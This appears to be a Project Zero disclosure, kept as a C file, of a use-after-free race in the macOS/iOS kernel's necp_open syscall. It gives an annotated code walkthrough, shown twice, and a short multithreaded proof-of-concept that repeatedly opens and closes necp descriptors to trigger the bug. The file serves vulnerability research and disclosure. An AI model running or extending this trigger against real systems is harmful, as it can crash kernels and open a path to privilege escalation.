/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1116
necp_open is a syscall used to obtain a new necp file descriptor
The necp file's fp's fg_data points to a struct necp_fd_data allocated on the heap.
Here's the relevant code from necp_open:
error = falloc(p, &fp, &fd, vfs_context_current()); <--------------------- (a)
if (error != 0) {
goto done;
}
if ((fd_data = _MALLOC(sizeof(struct necp_fd_data), M_NECP,
M_WAITOK | M_ZERO)) == NULL) {
error = ENOMEM;
goto done;
}
fd_data->flags = uap->flags;
LIST_INIT(&fd_data->clients);
lck_mtx_init(&fd_data->fd_lock, necp_fd_mtx_grp, necp_fd_mtx_attr);
klist_init(&fd_data->si.si_note);
fd_data->proc_pid = proc_pid(p);
fp->f_fglob->fg_flag = FREAD;
fp->f_fglob->fg_ops = &necp_fd_ops;
fp->f_fglob->fg_data = fd_data; <-------------------------- (b)
proc_fdlock(p);
*fdflags(p, fd) |= (UF_EXCLOSE | UF_FORKCLOSE);
procfdtbl_releasefd(p, fd, NULL);
fp_drop(p, fd, fp, 1);
proc_fdunlock(p); <--------------------- (c)
*retval = fd;
lck_rw_lock_exclusive(&necp_fd_lock); <---------------- (d)
LIST_INSERT_HEAD(&necp_fd_list, fd_data, chain); <------(e)
lck_rw_done(&necp_fd_lock);
at (a) a new file descriptor and file object is allocated for the calling process
at (b) that new file's fg_data is set to the fd_data heap allocation
at (c) the process fd table is unlocked meaning that other processes can now look up
the new fd and get the associated fp
at (d) the necp_fd_lock is taken then at (e) the fd_data is enqueued into the necp_fd_list
The bug is that the fd_data is owned by the fp so that after we drop the proc_fd lock at (c)
another thread can call close on the new fd which will free fd_data before we enqueue it at (e).
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
in: "...that other processes can now look up the new fd and get the associated fp..." I meant threads, not processes!
*/
// ianbeer
#if 0
MacOS/iOS kernel uaf due to bad locking in necp_open
necp_open is a syscall used to obtain a new necp file descriptor
The necp file's fp's fg_data points to a struct necp_fd_data allocated on the heap.
Here's the relevant code from necp_open:
error = falloc(p, &fp, &fd, vfs_context_current()); <--------------------- (a)
if (error != 0) {
goto done;
}
if ((fd_data = _MALLOC(sizeof(struct necp_fd_data), M_NECP,
M_WAITOK | M_ZERO)) == NULL) {
error = ENOMEM;
goto done;
}
fd_data->flags = uap->flags;
LIST_INIT(&fd_data->clients);
lck_mtx_init(&fd_data->fd_lock, necp_fd_mtx_grp, necp_fd_mtx_attr);
klist_init(&fd_data->si.si_note);
fd_data->proc_pid = proc_pid(p);
fp->f_fglob->fg_flag = FREAD;
fp->f_fglob->fg_ops = &necp_fd_ops;
fp->f_fglob->fg_data = fd_data; <-------------------------- (b)
proc_fdlock(p);
*fdflags(p, fd) |= (UF_EXCLOSE | UF_FORKCLOSE);
procfdtbl_releasefd(p, fd, NULL);
fp_drop(p, fd, fp, 1);
proc_fdunlock(p); <--------------------- (c)
*retval = fd;
lck_rw_lock_exclusive(&necp_fd_lock); <---------------- (d)
LIST_INSERT_HEAD(&necp_fd_list, fd_data, chain); <------(e)
lck_rw_done(&necp_fd_lock);
at (a) a new file descriptor and file object is allocated for the calling process
at (b) that new file's fg_data is set to the fd_data heap allocation
at (c) the process fd table is unlocked meaning that other processes can now look up
the new fd and get the associated fp
at (d) the necp_fd_lock is taken then at (e) the fd_data is enqueued into the necp_fd_list
The bug is that the fd_data is owned by the fp so that after we drop the proc_fd lock at (c)
another thread can call close on the new fd which will free fd_data before we enqueue it at (e).
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/syscall.h>
int necp_open(int flags) {
return syscall(SYS_necp_open, flags);
}
void* closer(void* arg) {
while(1) {
close(3);
}
}
int main() {
for (int i = 0; i < 10; i++) {
pthread_t t;
pthread_create(&t, NULL, closer, NULL);
}
while (1) {
int fd = necp_open(0);
close(fd);
}
return 0;
}